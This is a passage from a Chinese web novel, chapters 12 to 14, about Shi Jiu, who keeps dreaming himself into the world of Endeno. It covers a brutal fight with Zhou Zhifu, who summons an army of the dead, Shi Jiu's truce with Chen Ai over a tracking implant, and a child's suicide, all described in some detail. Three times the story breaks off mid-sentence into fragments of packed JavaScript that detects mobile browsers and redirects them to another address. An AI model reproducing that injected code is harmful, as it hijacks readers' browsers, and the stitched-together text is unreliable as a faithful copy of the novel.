秦昼永觉得头皮发麻,他皮笑肉不笑说:“舟先生,您别开玩笑。” “我哪是指责啊!我是实话实说啊!”舟之覆绕着沉皑走了一圈。 沉皑漠然:“舟之覆,不要张口就来。” 舟之覆不屑地“嘁”一声说:“我可没有,我有证据啊,全世界都看到你抱着你的小情人到处跑呢,你敢说你没有因为谈恋爱耽误正事?” 沉皑皱眉。 氛围正剑拔弩张,一个洪亮声音又从大厅里面传来:“好家伙,你们在大厅开会呢?” 季山月刚从电梯厅下来,一看眼前的情形就觉得脑子转不过来了。 不是,沉皑和舟之覆站在一起,就不可能有好事啊?又搞什么幺蛾子? 舟之覆白了季山月一眼说:“看看,又一个知道事情的人。” 季山月喃喃:“妈的小王八,啥情况啊?” 秦昼永扶额:“舟先生,您这样……” “舟之覆。”沉皑打断秦昼永说话,微微转身向舟之覆,他压着声音,毫无情绪,“如果你觉得我俩有什么私人恩怨,私下来跟我解决,如果没有,不要把这种事当成你没事找事的玩乐。” “最近收到几起自杀事件了,这件事很严重,也许会关系到整个文明。”沉皑一字一字说得慢,但非常清晰。 舟之覆还被他说愣了两秒,随即哈哈大笑出来,笑得浑身发颤,随后他挥手让两个操作人离开,两个人就恨不能直接用飞的速度跑掉。 “笑死我了沉皑,哈哈哈哈,你可太没意思了。”舟之覆还是笑,脖子也笑出了一层绯红,笑得整个人东倒西歪像喝多了一样。 “我靠什么疯批东西。”季山月小声骂了一句。 在场三个人都看他笑,直到他笑够了,站直身体,拍拍衣服整理表情,一只手还在擦眼泪,最后对沉皑说:“不好意思啊沉皑,忘了你就是这种条条框框一堆,一天到晚严肃到没人敢靠近你的人,还装得忧国忧民,维持着你们姓沉这一家的形象,哈哈哈你听听你说的话:关系到整个文明。”最后一句话还模仿了沉皑的语气,同时做着鬼脸。 “笑死我了,关系到整个文明怎么了,又不关系到我。太逗了,不是我说,你呢,其实就是个没脑子没感情的机器,哦也不,以前的AI都比你可爱,你好了不起啊,嗯?”说完,他还朝沉皑眨眨眼。 秦昼永决定下次再来处理这件事,默默跑了。 沉皑没说话,他知道舟之覆在嘲讽他,在向他散播恶意,但他毫无感觉,所以也只是淡淡看了他一眼,结果季山月忍不了了,听到这里大概也知道发生什么了,他怒吼一声,直直朝舟之覆扑了过去。 舟之覆虽然比季山月高一些,奈何没几块肌肉,浑身软绵绵的,哪能承受得了季山月这200斤大肌肉的体格,当下就被压在地上,腿咔嚓一声,脸上立刻挨了好几拳。 “啊!!”舟之覆吃痛的惨叫。 季山月把他按在地上一拳又一拳招呼过去,拳拳不留情,拳拳揍脸,一边打一边骂:“□□个小兔崽子,你在爷面前骂你祖宗。” 虽然被揍得眼前发黑,但舟之覆还是大笑:“别操,啊!□□祖宗还要,唔,还要掘坟!□□不用啊!啊!” 季山月气晕了,连沉皑在旁边冷冷说那一句“别打死了”都没听到。 季山月骑在舟之覆身上,使着打死人的力,下面的人被打得鼻血横飞,地上、衣服上、季山月的手上全是血,而沉皑在旁边站着,不说话,也没表情。 舟之覆笑够了,骂也快骂不出声了,浑身痛得几乎晕厥,终于忍受不住,抬手。 偌大的大厅里便出现了一个又一个人影,慢慢从透明到有实体,接着这些人影朝季山月围过来。 “你大爷不还手,我就知道,死王八吃坏肚子,没鳖好屁!”季山月放开舟之覆站起来,迅速抹了把脸上的血,反应很快一脚踢开扑过来的人。 凭空出现的人越来越多,原本空旷的大厅变得越来越挤,那些突然出现的人像丧尸一样,闻着血气一个个朝季山月扑过去。 沉皑终于动了,他做出攻击的姿势,那些人一靠近便伸腿横扫出去,一拳的力度击退好几个,但立刻又有更多的人包围过来。 无止尽的包围,两个人渐渐被困在中间,一次一次突围,又一次一次被人海吞没。 舟之覆歪歪倒倒好半天才稳住身形,终于从地上爬起来了,头痛得要命,好像被打出了脑震荡,但即便如此,看着在与这些人缠斗的两人,还是哈哈大笑出声,笑着笑着一口血就喷出来,开始不住的咳嗽,咳得整个人又摔在地上。 嘶,好痛,是不是骨折了?舟之覆想。 周围都是血,而且都是他一个人的血。舟之覆随意在身边把血抹出一个半圆,干脆放弃站起来,就这么坐在地上,欣赏着无瑕顾及他的两个人打斗的画面。 看了一会儿,他伸手鼓掌,一边拍一边喊:“好啊好啊,身手不错啊!。” 一会儿又开始哈哈大笑,强忍着疼痛喊道:“喂!季山月你知不知道你就是沉皑养的一条狗啊?养了20年的一条狗!汪汪!” 季山月差点背过气,他一边抓着一只手用力,将那人影从背后往前摔出去,一边发疯咒骂:“我呸!你才是一条狗!死狗!老子和沉皑是正儿八经当了20年的兄弟!操!你这小鳖孙!”说着,又一个人扑了上来,季山月又一拳招呼过去,骂骂咧咧的话变成了手里重重的愤怒。 但这些丧尸一样的人影永无止境,即使都是一些毫无招架能力的普通个体,一拳就碎,但如果一直打,早晚会被耗光体力。 打了一会儿季山月就彻底发疯了,他破口大骂:“你大爷的舟之覆,赶紧把你的亡灵大军收了!这是掌权者大厅!” 舟之覆坐在地上,淡定地点点头,又很温柔地笑了,他的声音轻飘飘的:“啊那,我、就、不,嘻嘻。” 大厅的另外两个人一直都没有发现时咎的存在,也没人攻击他,他在角落看了片刻开始觉得事情有些不对劲了,便绕了个圈避开舟之覆的视线,慢慢绕到他身后。 舟之覆几乎看不清东西,他的眼睛被打肿,充血得厉害,好像要瞎了,但不妨碍他当一个最佳观众。 正当他开心地鼓掌叫好的时候,一双手绕过他的脖子猛的一提,他一口气没上来差点噎死,眼珠控制不住外翻。 时咎就着被手铐连在一起的双臂,拿胳膊环套着他的脖子,轻声说:“不好意思啊,我和那个蓝眼睛的还有一些私人恩怨,你把他埋了,我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舟之覆挑眉,从地上坐起来,但由于整张脸都是肿的,所以做表情都生疼,眉头一动,就痛得他眼泪掉下来,不过依然拦不住他傲气地说:“我的能力啊。”接着放小了声音,语气里都是骄傲。 “亡灵大军。” “恩德诺最强能力。”说着,他笑出来,又扯着伤口,痛得倒抽冷气,尽管如此,他坚持要把自己的头衔说完,“你没见过我是吧,我也有恩德诺最精致的美貌……啊,好疼啊!” 龇牙咧嘴、满脸是血,血液下的脸依然棱形可见,不过时咎现在看不出来他到底多美貌,但最惨一定可以说得上。 这就是江遂说的,平易近人? “我听说了你们的事。”舟之覆跳过话题,接着说,“嘻嘻,要不要跟我做朋友?啊……” 他的目光突然瞥到时咎手腕的手铐上,又看到他脖子上的麻醉脖环,眼神一下就兴奋起来,他微微张嘴道:“上次看到沉皑抱你出来,这次是手铐,哇,你们玩得可真高级。” 时咎脸一黑,抬腿就把他踩了下去:“闭嘴!” 舟之覆大笑:“嘿嘿,我爱的亡灵大军们,可以借你一些当奴仆喔!助你们玩得更开心。” 时咎瞥他一眼,笑了下,玩味道:“哦?一直在提你的亡灵大军,你爱的?我怎么觉得,你好像反而……” “很痛恨你的亡灵大军?” 说完这句话舟之覆脸色就变了,虽然在那张肿得青紫的脸上已经看不出变化,但他突然爆发了,强忍着喉咙的血腥味大喊:“滚!我恨你妈!滚!你们都是一群道貌岸然的狗!”吼得嗓子有些撕裂。 时咎后退了两步,怕血喷到自己身上,那副什么都不怕的样子让舟之覆觉得格外恶心。 时咎想,这公共场所,总有人看到他会把他抬去医院吧,便离开了。 舟之覆躺在地上,看着天,阳光很刺眼,但他连伸手挡一下的力气都没有,只能心里骂季山月下手可太狠。算了,能恶心一下沉皑,身体遭罪,心里舒服! 掌权者大楼到起源实验室有些距离,时咎绕过去才发现,自己根本进不去门,这才想起每次自己来这儿,不是睡着了凭空出现,就是跟着沉皑,他根本没有权限或者申请出入这栋大楼。 时咎:“……” 但时咎忽然又反应过来,他想多搜集关于这个梦的信息,这个世界的灵感,出来了反而是最好的。 不对,脖环。 时咎捏紧拳头,一转身,已经看到远远走过来的两人。 还是不能和沉皑硬刚,他要想其他办法,比如:委曲求全,尝试和沉皑交好? 12. 第 12 章 隔着很远就听见季山月在破口大骂,结果一见时咎,季山月更生气了,冲出来二话没说一拳招呼到了时咎脸上,连一个反应时间都没给。 季山月大吼:“你怎么不跟你主人一起死!” 时咎完全没反应过来,但等他反应过来了就觉得这哪忍得了,莫名其妙挨一拳,暴脾气一下就上来了,用腿狠狠踢出去。 但他太高估自己,太低估季山月,他几乎接不住任何招,也完全撼动不了季山月分毫,手还被锁住,踢出去的力道就像一个小孩随意挥手被大人接住般,稳稳被季山月挡住,再顺势用力往后一推,时咎整个人就摔下去了。接下来他就只是单方面挨揍。 刚刚看还没这么直观,时咎这才发现季山月惊人的体能,绝对不是一朝一夕能累积的力量和速度,像是某种经受长年累月训练的特种兵。 时咎被完全压制,只能咬着牙让声音从牙缝里挤出来:“操!” “季山月!别打!”沉皑喊到。 他第三拳还没下来就在空中停住了。 季山月一把推开时咎,气死了瞪着沉皑说:“干嘛不让我打,主人都被我打了,狗还不让我打!气死我了,之前舟之覆找你要人你不给,让他笑死了!” 沉皑皱眉:“你先走。” 时咎从地上慢慢挣扎站起来,将脸往胳膊上的衣物上蹭,一看果然是血。 季山月原地暴怒:“干嘛啊沉皑!我打舟之覆你都没阻止!” “好了,有些事还没搞清楚不要乱说,你先走。”沉皑打断他。 季山月重重深呼吸两下,努力平复自己内心的不爽,转身狠狠瞪了时咎一眼,离开。 沉皑也没料到剧情这样发展,他伸手擦掉时咎嘴边的血,竟然笑出来。 时咎僵在原地,咬牙切齿:“好笑?” 沉皑收敛起笑意:“还可以。” 他伸手,勾住时咎的手铐进入起源实验室大楼。 众目睽睽,沉皑牵着时咎往里走。里面很多人,这些年轻男女表情稍显惊讶,随即是非常敬重的表情,没有人对沉皑产生质疑,只是目送他离开。 熟悉的走廊,时咎听着那个熟悉的点屏幕还在播报熟悉的新闻: “三个月前,生物研究所丢失数支病株样本,门口两位安保均死亡,若有知情者请立即联系我方。此则新闻为滚动播放。” 房间里很安静。 时咎舔了下生疼的嘴角,一股血腥味,可惜手还被锁着,也擦不了。 沉皑把纸递了过来,示意他自己擦血,然后两个人便僵持住了。 片刻,沉皑起来把他的手铐解了。 两人都没说话,好一会儿,沉皑才打破沉默:“你和舟之覆……” 听到这话,时咎更生气了,他冷笑一声,道:“我和舟之覆是一伙的,你们都要把他打死了,我还不能偷偷把他带走?可以了吗?满意了吗?” “你在生气。”沉皑说。 时咎一拍书桌,怒吼:“你真是有病!我说了我不是这里的人,不是这里的人,一开始我根本不知道发生什么了,才会有那些行为,季水风不是测谎通过了吗?不然你还要我怎么解释?是你你不生气?我有必要跟一个我打不过的人死磕?我只是好奇这个世界!” 几天来的怒火全部爆发出来,从来没在梦里这么憋屈过,他不像做梦的人,倒像阶下囚,而他偏偏无法解释。 沉皑抿唇,回想了很多来龙去脉,最后道:“所以你不是舟之覆的人。” “我就是!我是他找来故意恶心你的!” 沉皑:“……” 片刻,沉皑低声问:“上次,你头不疼了?” 上次?时咎皱眉回想,觉得他是在说拉他去做强制进化那次,都多久的事了。 沉皑没有再说话,就等着时咎坐在沙发上自己生气。 等气得差不多了,时咎平息下来,觉得自己也不能这样发火,发火于他无益,他只是想探索这个梦中世界,然而想要探索,就得过沉皑这关。 重中之重是解决沉皑的疑心。 时咎先开口:“喂,你们的那个‘能力’是什么?” 沉皑靠在椅子上,没有立刻回答他,而是想了想才说:“一种非常规的超能力。比如舟之覆的亡灵大军,就可以召唤出那些死去的人的灵魂为他作战,他想欺负一些靠自身能力打不过的人的时候,就会放这些残花败柳出来。” 时咎继续问:“所以这里每个人都有?” 沉皑盯着他,没有再直接回答,而是转着笔,用不容拒绝的语气说:“你恐怕没有立场问我太多,如果你一定这么好奇,刚好,我也有很多事想知道,不如,我回答一个问题,你也回答我一个问题,如果你说谎,我也不会给你真实答案。” 时咎深呼吸一口气吐出来,他冷笑一声,悠闲地把自己揉到沙发中心:“行啊。” 他现在一点也不想和蓝眼睛这家伙起明面上的争执。 “好。”沉皑坐直身体,慢悠悠地问,“你和舟之覆?” “不认识。”时咎快速地说,“这里每个人都有能力?” “不。”沉皑立刻否定,“你的真实年龄?” “25、26。生日四月一日。”时咎说完顿了一下摇摇头说,“四月一日是我自己瞎编的,年龄不知道是因为我父母也不知道,随便吧大概就这个年龄段。一般哪些人会有哪些能力?” “这是两个问题。”沉皑提醒道。 时咎“啧”了一声:“一般哪些人有能力?” “不一定,遗传几率相对较高,但也不是必然的,有能力的人的后代有可能突然没有了,没有能力的人的后代也许会有,规律性不高。”沉皑轻声回答,“你是瞬移还是别的什么?” “我在梦里!可能对梦有一些操控的意思,具体不清楚,而且我瞬移也只会瞬移到你旁边。你们一般会有哪些能力?” “各不相同,但是基本都是一些无足轻重的,比如跑得更快,睡觉需要的时间少,氧化速度慢等等。你的工作是什么?” “不固定的有开艺术展,美术视觉效果设计,做些作品,固定的是养老院做临终关怀,还有孤儿院陪陪小孩子,教他们大提琴。”时咎快速说,“那舟之覆的能力是什么梯队?” “他自诩恩德诺最强能力,我不认为是最强,但的确不弱,难缠。”对于他来说,亡灵大军如同生活里尘垢秕糠的琐事。沉皑说完愣了一下,话到嘴边好像突然间才换的问题:“你会大提琴?” “会啊。恩德诺是什么?” 沉皑:“……” “你现在在的这个文明的名字。”沉皑淡淡道,“每次你消失之后,去了哪里?” “在我家床上醒来,然后去工作,然后回家,然后睡觉,然后又看到你。你的能力是什么?”时咎麻木地说。 沉皑低声道:“我没有能力。” 时咎露出诧异的神情。 沉皑继续问:“你在的地方,叫什么?” 时咎更诧异了,这是接受他的说法了?于是他如实回答:“地球,城市叫海安市。你没有能力,那你怎么坐上这个位置的?” 闻言,沉皑嗤笑,淡淡道:“有能力并不代表就很强。有的人只靠这种能力,自身却是个废物,有的人靠自己的体能,但没有能力,也有两者兼具的,这三种人一般都被收编在文明中心里了,但即使是文明中心,能力者也不超过一成,城市里的公民更少,或者是有些用处不大的。” 时咎忽然觉得也是,如果“能力”是一个很常见的东西,从最开始他就不会被追问能力是什么,沉皑逼问他这么久,他遭这么多罪,主要就是这一个问题,或许还是自己不愿意配合的原因。原来因为如此稀缺,不仅稀缺,就算有能力,大多也是一些最多让生活便利的能力,那么他最初的表现,确实值得一直追查。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闻言,时咎眨了眨眼,“噗”一声笑出来,他乐道:“谁还不是呢?我不多问点,怎么给我的现实生活累积点灵感呢?” 沉皑轻轻点头:“所以我暂时信你说的话,但如果哪天我发现你今天说的有一句谎话,我会直接杀了你。” 时咎站起来走到书桌边,直逼过去和沉皑面对面,他盯着那张棱角分明的脸,盯着那双深蓝色的眼睛,扯起一个艰难的笑容,也一字一句毫不客气道:“我跟你说的都是实话,但你是不是忘了,这是我的梦。” “我死不了啊。”他轻声在沉皑耳边说,呼出的气搅动了沉皑耳旁的头发。 无比挑衅的姿势和话语。 沉皑不怒反笑,也根本不吃时咎气势上这一套。他像听到了什么笑话,身体也微微往前倾,侧过脸、面对面靠得更近,鼻子眼睛都近在咫尺,每个毛孔都看得清晰,睫毛的颤动,瞳孔互相关于对方的倒影,呼吸绕过两个人的脸,气流凌乱,不足10公分的距离,是一场战役。 但沉皑并没有兴趣打仗,只听他压着声音,两张脸贴更近,近到已经几乎快贴在一起,紧接着,他挪动位置,将嘴唇靠在时咎耳边,唇无意触碰到他的耳廓,轻声说:“就是你的梦,但是……” 时咎觉得浑身像走过了一次电流,电得他四肢发麻,头脑昏沉,那格外柔和低沉的声音就贴着他的耳朵,顺着头皮一路轰炸,他突然想起什么,身体瞬时绷紧,立刻企图拉开距离往后躲,但他的速度完全追不上沉皑的。 第一步还没有躲出去,那把枪已经掏出来直直指着他了。 “喂!”时咎心里骂了一声,骂的时候看见按下扳机的手指。 银针飞速掠过,时咎心如擂鼓。 然而晕眩并没有来,微弱的破空声从耳朵旁边擦着过去了。 毫厘之差,精准地擦着他耳朵的绒毛。 沉皑收起枪,笑道:“刚刚不是回答过你了?如果不靠能力,我认为最强的是:季山月、季水风……” “和我。” 13. 第 13 章 恐怖的对距离的把控能力。时咎坐在沙发上,竟然觉得有些心惊肉跳,他想起了前不久被季山月一下就撂翻在地的场景,怎么说自己也是个时常健身的成年男性,却在季山月手里过不了一招,那绝对不是正常人可以达到的身体素质,他甚至怀疑真的找一个特种兵能不能在季山月手里过满十招。 那沉皑……回想在大厅里看见他们缠斗的场景,那样的身手,只会和季山月势均力敌,或者更强。 他强硬,沉皑比他更强硬;他挑衅,沉皑比他更挑衅;他用心理战术,沉皑则比他更会用,掀他的桌子,砸他的灯,骂他的人,他都不做反应,不被牵着鼻子走,不生气,也不产生情绪。 “喂,蓝眼睛的……”时咎刚开口,就被打断的。 “如果你愿意,可以叫我沉皑。”他说。 “好,沉皑。”时咎咽下了脾气,郑重说,“重新商量一下,能不能以后见面不用麻醉针打招呼?还有这个脖环……” 沉皑瞥他一眼,他从时咎的眼睛里能看到很多东西,胆大、勇气、坚定,甚至可以心平气和坐在这里同他做商量,姑且算是能屈能伸,也是一些很好的品质,如果不是性格太冲动直白…… 于是沉皑在时咎炙热的眼神里慢悠悠道:“等我确定你说的是实话。” 季水风进来的时候办公室只有沉皑一个人,她疑惑:“季山月不是说抓到时咎了?人呢?” “跑了。”沉皑说。 “跑了是什么意思?”季水风惊讶,“在你手里跑了啊?” 沉皑点头:“麻醉剂射歪了,他消失了。” 季水风更惊讶了,跟听了鬼故事一样:“射歪了?!” “嗯。” 季水风很少有这么震惊的模样:“你说你故意放走的我都敢信,你说射歪了?!” 沉皑没有回答。 季水风把头发拨到肩后说:“又是直接消失?” “嗯。我问了一些情况,但是他坚持说这是他的梦。” 季水风并不感到奇怪:“怎么说呢,自信点说吧,我的测谎技术说第二没人敢说第一。” 沉皑淡然道:“嗯。” “没事。”季水风笑,“结果很快就会出来,我们很快就知道了,下一个帕斯卡赌注吧。” 沉皑不置可否。 大城区人声鼎沸,笑声叫声比比皆是,公民们喜欢把愉悦的声音释放出来,谈论和负面的声音通过意识传达出去。 但这些声音在文明中心门口戛然而止,里面的人更喜欢任何事都用语言交流。 距离文明中心不远处一个街道小巷里,一个六七岁大的小孩快步朝城市的权力中心走去,走到一半他顿住脚步,因为他听到有小孩的哭声,正从这条小巷子的某个角落传来。 是谁在哭?他四处张望,终于在一处角落看到一个颤抖的身影,于是他走过去。 也是一个小孩,但比他大,十多岁了。小孩站在角落面对墙壁大哭,嘴里喊着:“不要杀我,不要杀我。” 较小的孩子觉得很奇怪,便开口问:“你怎么了?谁要杀你?” 谁料正哭着的小孩浑身一震,他提着吊起来的嗓子眼,一口气都没敢出出去,缓缓转过头,惊恐的眼神望向了那个比他矮一些的小男孩。 “你家人呢?”稍小的孩子又问。 满脸眼泪的人开口了,说出来的话却让人觉得惊悚:“他们,他们死了,他们死了,我回家,他们都在家吊死了,不要杀我,你不要杀我……” 他突然开始尖叫,手也乱挥,吓得对面的人赶紧后退了两步。 “不要杀我!!” “救命啊——!!” 整条小巷都是他的惨叫,这个时候楼上有居民听到尖叫打开了窗户,朝下面吼道:“发生什么了!需要帮助吗!” 同样被吓到的小孩正要说需要帮助,却见那个哭喊的小孩直直朝前冲过去,就像使出浑身解数,一头撞在墙上。 咚—— 随着一声闷响,小孩的身体也应声倒地,只留雪白墙上微弱的血迹,更多的红色从躺在地上的人头上缓缓流出。 目睹他死亡过程的小孩捏着拳头没能说出话,只是一双眼睛瞪得很大。 很快这里被安全管理中心围起来。 文明安全管理中心里,季水风揉了下自己的太阳穴,随即深呼吸。 最近确实越来越不对劲了,自从病株失窃,传染病大有卷土重来的迹象,只是实在查不到线索。 门开了,一个职员匆匆进来说:“季小姐,那个小孩已经被医院确认死亡,另外当时在他旁边的小孩问话结束,确定他们之间没有任何关系,刚刚他的家人已经接走了。” 季水风轻轻点头:“好,辛苦了。对了,病株的事有进展吗?” 对方愣了一下,埋头小声说:“没有。” 季水风轻叹,职员连忙不迭地出去了,门还没完全合上,又被另一只手推开。 “你要的资料。” 季水风抬头,发现是沉皑。 沉皑将上次自杀在监狱那个小孩的资料放季水风办公桌上,皱眉道:“安全管理中心抓人别带到起源实验室来了,工序不一样,这边登记换过来麻烦。” 季水风笑了笑:“添麻烦了。” “嗯。” 沉皑正要走,被叫住了。 “等一下,上次跟你说的,时咎的事,有结果了。” 沉皑停下脚步,回头。 季水风从办公室抽屉里拿了一台电脑出来,放在沉皑面前,刚开口对他说:“这个是……”就看见沉皑突然掏出麻醉枪,季水风嘴都还没闭上,他已经朝旁边开枪了。 接着一个人影倒了下去。 他现在几乎在时咎出现前零点几秒就能感觉到,然后立刻掏枪瞄准。 季水风瞳孔地震:“这……” “我,恨,你。” 一入梦就精确到达沉皑身边的时咎咬牙切齿说,他的手在微微颤抖。 “哦。”沉皑看了他一眼,熟练收枪,哼了一声,“耐药性还可以,手快能动了。” 季水风立刻去将时咎扶起来放到沙发上,左右看了看,疑惑道:“这么摔下去很痛吧?没受伤吧?” 她的办公室有地毯,所以粗略检查了一下没看到什么伤口,松了一口气。 时咎浑身用不了一点劲,竭尽全力也只能让手有不自然的颤抖,他只能靠在沙发上,他努力平复心情,心里默念他的灵感,最后用平常的心态对沉皑说:“蓝眼睛的,商量个事。” 沉皑看了他一眼,没说话。 时咎很想坐起来,但失败了,其他身体部位他基本感觉不到,于是他放弃了,保持着当下的姿势说:“你看,人不可能不睡觉,也做不到想不做梦就不做,所以我放弃了。” 他一字一句说:“既来之则安之,我只想探索这个世界是什么样,也没对你们的治安造成什么影响对吧?我说真的,能不能以后不用这玩意儿招呼我?如果你真的觉得我有危险,我有动作你再这样也不迟。”他指了指脖子上的皮质套环。 闻言,沉皑冷冷道:“不可能。” 时咎气死了,他吼出来:“那我主动跟着你总行吧?别给我注射这玩意儿了!你完全就是针对我,一句话不让说就麻醉,我都感觉我记忆力下降了!”时咎想说大声一些,但做不到,说出来的声音异常虚弱。 沉皑仿佛听到了什么很有意思的事,手指又开始敲击桌面,莞尔道:“我想你搞错了,我不认识你,对你没兴趣,更不会主动针对你,但我怎么记得最先挑衅我、掀桌子的是你呢?” 时咎:“……” 确实是他先招惹对方的,因为那会儿他觉得自己是在做梦,他对他的梦有绝对掌控权,当然想做什么做什么,掀一个NPC的桌子怎么了? 只是后来的发展越来越奇怪,不仅故事奇怪,连这个梦本身都奇怪起来——一次连续做梦是巧合,那无数次呢? 时咎觉得自己的脸火辣辣的,吞吐了半晌,想到了一个可以恶心沉皑的办法,他用很弱很麻木很恶心的声音说:“我只是想,想留在你身边。” “噗!”旁边的季水风终于没忍住,笑出声,女性的笑声把即将凝固的气氛重新搅动起来,“你有点疯啊?这话敢说?不知道现在外面在传什么吗?” 沉皑的脸色已经难看到,时咎觉得自己再多说一个字就会被撕成碎片。 季水风一直在开心地笑,她伸手戳了一下沉皑,带着笑意说:“我说,不然你就把他留着,再危险的人放你身边我总放心,然后……”说着她朝沉皑眨眨眼。 沉皑不耐烦,敲桌子的手指都用力了几分。 权衡之下,沉皑冷漠地说:“我可以答应你的要求,但我有条件。” 时咎看着他,示意他接着说。 “在我确定你之前说的都是实话的前提下,第一,你听令于我;第二,一直带着脖环,我会监视你。作为交换,我可以在你没有危险性的情况下,不主动对你注射麻醉。” 那么问题来了,他要如何证明他说的都是实话?一个正常人要如何在别人说:我在做梦,你只是我梦里的人,的情况下,相信对方? 时咎瞪着沉皑,就在这时,季水风的手指刚刚碰上拿出来一直还没用上的电脑,她莞尔一笑,嘴角扯出的弧度恰到好处,说:”那正好,我本来也正要给沉皑说这件事的。“ 两道目光同时转向她。 季水风说到这,把她的电脑拨过来,让时咎能看到。 上面的波形和数据密密麻麻,时咎一个都看不懂。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187305|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沉皑偏头看到电脑页面的时候愣了一下,随后了然于心。 “这是……”时咎问。 季水风在电脑上轻敲某个键,一枚钉子状的物体从时咎的皮肤里被抽离出来,时咎没有丝毫感觉,直到他看到这个躺在季水风手心里的东西,才觉得毛骨悚然。 他什么时候被植入的这个? “这是追踪铆钉的数据分析图。”季水风解释,“我们第一次见面的时候,我给你植入了铆钉,不过因为需要大量的数据分析,所以样本数得足够多样化,时间就有点久了。” “追踪铆钉?一直在哪?”时咎突然头皮发麻。 “在你的皮肤里,别担心,对身体无害。碰到你的皮肤,就会自己钻进去,你不会有感觉,我发布抽离的命令也是。”季水风接着说,“铆钉会自动解析你的身体机能、行动轨迹,一定程度上可以监听你的行为动机、你的神经交流,所以,如果铆钉认为你可能出现潜在的犯罪动机,信号会直接传输到我的电脑上,发出警报。一般情况下,铆钉只会给出狱的性侵罪犯,或者某些高度危险的人使用。” 时咎:“……” 我在梦里当高危人群。 看穿他的想法,季水风爽朗地笑开:“没有说你不好的意思。不过呢,我们的文明犯罪率太低,监狱都没几个,还大多时候是空的,连废弃的都好些个,所以追踪铆钉很难被使用到。” 接着,她侧过身,面对的方向更偏向于沉皑一些,她说:“你应该知道追踪铆钉的大概设计原理吧?” 沉皑面无表情:“嗯。” “这个铆钉最强的设计在于,就算你从你的身体里找到它的位置并挖出来扔掉,它只要进入过你的身体,就会记录你的全部生物信息,然后全球搜索,以近光速回到你的身体进行自动植入,也就是说……” 季水风指了指电脑画面,那里的曲线从来没有断过,一直实时监控,“这是一个植入就不可能摆脱掉的‘勺子怪物’,它忽略过程,直接判断结果,当然,我可以从系统解除植入。” “不能摧毁?”时咎问。 “嗯。当你有了摧毁它的念头——你的一切行为都是先有脑神经活跃,才有行为的——它捕捉到了,就会启动自爆。” 时咎:“……” 恩德诺的人都这么喜欢玩自曝?追踪铆钉是,脖环也是。 “这就是我觉得你没有威胁的原因。”季水风柔和说,“铆钉给出了自己的判断,它分析出你的路径都很正常,犯罪心理最高的时候也低于10%,甚至远低于普通人。” “你是一个,连‘恶’的想法都很少产生的人,即使出现,也会被超我迅速压下去。” 时咎:我是不是该说谢谢夸奖? “所以奇怪的就在这里。”季水风对沉皑说,“我上次跟你说的数据样本你还记得吗?” “嗯。” “我相信时咎的说法是因为,我的测谎结果就是他没有说谎。” 她解释说:“每次时咎消失的时候,铆钉会直接落在原地,直到他下次出现再迅速锁定,和强行被挖出体内是一样的步骤,但是挖出后,铆钉会自动重新回到体内完成植入。铆钉的设计和量子纠缠部分原理类似,基因和铆钉建立联系,忽视距离相互感应,所以你把它单独放在某个地方一秒钟不动都是不可能。除非——生物体彻底从这个世界消失,它锁定不了你。” “时咎就是这种情况。消失,铆钉落地,再找不到目标。这代表他以任何形式消失在这个世界的任何角落。” 沉皑很久没有说话,他看着那台电脑上的数据陷入沉默。 良久,他低声说:“我不知道。” 季水风拍他的肩:“我也是刚确定所以才叫你来的呀。” 沉皑似乎很难相信这个,他冷眼看着时咎,又被时咎毫不避讳地冷眼看回来。片刻,沉皑叹口气,说:“好,我暂时相信你。” 时咎也麻木道:“谢谢你的相信。” 季水风的目光在两人之间来回转,她察觉到了一丝微妙的气氛,他们似乎是发生过什么她不知道的、也不太正常的事。 时咎的手摸上了自己的脖子,那根冰冷的套环还是在脖子上,无论是醒来睡去,它都没有原地掉落,跟追踪铆钉不一样,原理是什么? 这跟他每次睡着都精准出现在沉皑身边是一个道理,是不是因为脖环是沉皑的所有物,才没有醒来掉落,那沉皑对于他来说到底是什么存在?他跟这个梦有什么联系? 事到如今,时咎没有办法说服自己这就是一场梦,他想知道更多。 季水风轻声问:“所以,你们要宣布停战吗?” “成交。”时咎一口答应。 沉皑淡淡道:“嗯。” 季水风长叹一口气,轻轻鼓掌:“恭喜。” 14. 第 14 章 麻醉时间很快过了,时咎活动着僵硬的身体缓缓站起来。 他环视四周,看清这个小房间的布局:办公桌,沙发,防暴盾牌,还有几个锁住的柜子,一个类似警徽的图案打在每一个地方。不是沉皑的办公室,应该就是季水风的办公室,他记得沉皑说过季水风是文明安全管理中心最高负责人,也说过季水风是有能力的人里最强之一,同时还是单靠体能里最强之一,但……时咎看向季水风。 季水风的头发很直很长,浓烈的黑色,眼睛也是同样的黑色,穿着高跟鞋直逼他的身高,那双黑色眼睛看过来的时候,始终带着笑意,从不让人感觉到任何攻击性,只是一种纯粹温婉的柔和,那样的感觉,让时咎只能想到一类人:电视里在修道院不辞辛苦照顾孩子们的修女。 现实中,这种温柔的人时咎也见过,就是他在孤儿院教孩子们学大提琴时,看到的将所有孩子都视为自己亲生,无偿给予他们爱的妈妈。 只是看一眼,就觉得自己被原谅,被包容,被爱着。 但沉皑说她无论能力还是体能,都是最强之一,时咎实在无法把这样的形容和眼前的季水风联系在一起。 说到这,沉默突然蔓延开,但恰到好处的,门口又传来急促的敲门声。 季水风过去开门,门一开,外面一个气喘吁吁的人便说:“季小姐,出,出事了!刚刚在广场门口,有一位公民,他,他自杀了!” “又有人自杀?!”季水风提高音量,不可思议。 “是!我们已经派人过去了,您,您要去吗?” “我马上过去!”她立刻站起来,快步走到自己座位上将衣服拿起便往外走。走到门口回头对沉皑说:“你们自便,我先走了。”说完立刻离开。 “什么情况?”时咎问。 